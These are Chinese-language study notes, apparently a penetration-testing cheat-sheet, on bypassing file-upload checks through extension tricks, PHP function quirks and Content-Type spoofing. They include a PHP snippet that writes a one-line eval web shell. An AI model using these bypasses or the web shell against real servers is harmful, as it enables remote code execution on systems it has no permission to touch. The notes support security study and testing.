文件上传
前端绕过
正常上传文件,捉取数据包修改(bp抓包改后缀)
后端绕过
服务器端检测的绕过
函数特性
move_uploaded_file函数会自动去除文件名末尾的点 和 /.
fopen函数特性
<?php
$filename='1.php/.';
$content="<?php eval($_POST[1]);?>";
$f = fopen($filename, 'w');
fwrite($f, $content);
fclose($f);
?>
#会在当前目录生成1.php,文件名为1.php.也可以
————————————————
其它
后缀名大小写
后缀名双写
尝试php3 phtml php3457(linux+apache+php5.6)等后缀
检测MIME类型的,捉包改MIME类型
服务端检测(MINE类型检测) #
MIME (Multipurpose Internet Mail Extensions) 是描述消息内容类型的因特网标准。
服务器代码判断$_FILES[”file“][“type”]是不是图片格式(image/jpeg、image/png、image/gif),如果不是,则不允许上传该文件。
绕过方法:
抓包后更改Content-Type为允许的类型绕过该代码限制,比如将php文件的
Content-Type:application/octet-stream修改为image/jpeg、image/png、image/gif等就可以
常见MIMETYPE
audio/mpeg -> .mp3 application/msword -> .doc application/octet-stream -> .exe application/pdf -> .pdf application/x-javascript -> .js application/x-rar -> .rar application/zip -> .zip image/gif -> .gif image/jpeg -> .jpg / .jpeg image/png -> .png text/plain -> .txt text/html -> .html video/mp4 -> .mp4
…